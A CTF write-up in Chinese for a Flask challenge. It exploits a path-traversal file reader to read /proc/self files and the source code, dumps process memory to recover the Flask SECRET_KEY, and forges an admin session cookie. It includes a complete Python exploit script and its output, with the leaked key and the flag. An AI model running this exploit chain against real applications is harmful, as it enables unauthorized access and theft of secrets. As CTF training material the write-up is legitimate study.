点击猫猫信息看到文件读取功能
环境变量里没有
1 http://61.147.171.103:60316/info?file=../../../../proc/self/environ
/proc/self/cmdline
,用于获取当前启动进程的完整命令
得到 b’python\x00app.py\x00’
再次读取上级目录的 ../app.py
app是个Flask对象,而secret key在app.config[‘SECRET_KEY’],读取/proc/self/mem得到进程的内存内容,进而获取到SECRET_KEY。不过读/proc/self/mem前要注意,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值(参考此处 )。这里直接放出大佬读取/proc/self/maps+/proc/self/mem+SECRET_KEY的脚本,可一键获取flag。
那么现在思路就是通过 maps 文件的可 rw 地址,在 mem 中读取,匹配关键词,找到 secret_key,最后通过相同的规则伪造 session 获取管理员,查看到 flag
注意到 app.py 里有 from cat import cat
,读取一下 cat.py 看看逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from cat import catif os.path.isfile("/flag" ): flag = cat("/flag" ) os.remove("/flag" ) def info (): filename = "./details/" + request.args.get('file' , "" ) start = request.args.get('start' , "0" ) end = request.args.get('end' , "0" ) name = request.args.get('file' , "" )[:request.args.get('file' , "" ).index('.' )] return render_template("detail.html" , catname=name, info=cat(filename, start, end))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 def cat (filename, start=0 , end=0 ) -> bytes : data = b'' try : start = int (start) end = int (end) except : start = 0 end = 0 if filename != "" and os.access(filename, os.R_OK): f = open (filename, "rb" ) if start >= 0 : f.seek(start) if end >= start and end != 0 : data = f.read(end - start) else : data = f.read() else : data = f.read() f.close() else : data = ("File `%s` not exist or can not be read" % filename).encode() return data
根据这两个片段,逻辑就清楚了
在 /info 路由读取 /proc/self/mem,同时传入 start 起始地址和 end 结束地址即可。
maps 中每一行长这样
55d4940b1000-55d4940b2000 r--p 00000000 fd:00 53477819 /usr/local/bin/python3.7\n
匹配形如 55d495cfb000-55d495cff000 rw
的数据,去 mem 读取内容
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
这里 SECFET_KEY 末尾有 *abcdefgh,
查找该值定位 key
key 格式,正则匹配一下即可
拿到 key 后,用 key 和 {"admin":1}
来伪造 session
下面是我的 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 import requestsimport refrom flask import Flask, sessionfrom itsdangerous import URLSafeTimedSerializerimport json url = "http://61.147.171.103:60316/" up = "../../" def get_secret_key (): map_list = requests.get(url + f"info?file={up} /proc/self/maps" ) map_lists = map_list.text.split("\\n" ) for i in map_lists: map_addr = re.match (r"([a-z0-9]+)-([a-z0-9]+) rw" , i) if map_addr: start = int (map_addr.group(1 ), 16 ) end = int (map_addr.group(2 ), 16 ) print ("Found rw addr:" , start, "-" , end) res = requests.get(f"{url} /info?file={up} /proc/self/mem&start={start} &end={end} " ) if "*abcdefgh" in res.text: secret_key = re.findall("[a-z0-9]{32}\*abcdefgh" , res.text) if secret_key: print ("Found secret key:" , secret_key[0 ]) return secret_key[0 ] def forge_session (secret_key,data ): serializer = URLSafeTimedSerializer( secret_key, salt='cookie-session' , serializer=json, signer_kwargs={'key_derivation' : 'hmac' , 'digest_method' : 'sha1' } ) return serializer.dumps(data) if __name__ == "__main__" : secret_key = get_secret_key() data = {'admin' : 1 } session = forge_session(secret_key, data) print ("[+] Session:" ,session) headers = { "Cookie" :"session=" +session } flag = requests.get(url + f"admin" ,headers=headers) print (flag.text)
Found rw addr: 140511519399936 - 140511520452608
Found rw addr: 140511520460800 - 140511521775616
Found rw addr: 140511521783808 - 140511522836480
Found rw addr: 140511522844672 - 140511523930112
Found rw addr: 140511523934208 - 140511524368384
Found rw addr: 140511524380672 - 140511524446208
Found rw addr: 140511524458496 - 140511525711872
Found secret key: 568a20d2eff24d32a7963d38af525cc9*abcdefgh
[+] Session: eyJhZG1pbiI6IDF9.aH4LmQ.IpcCjFOLCTP96LODrEY8vCoc7EA
catctf{Catch_the_c4t_HaHa}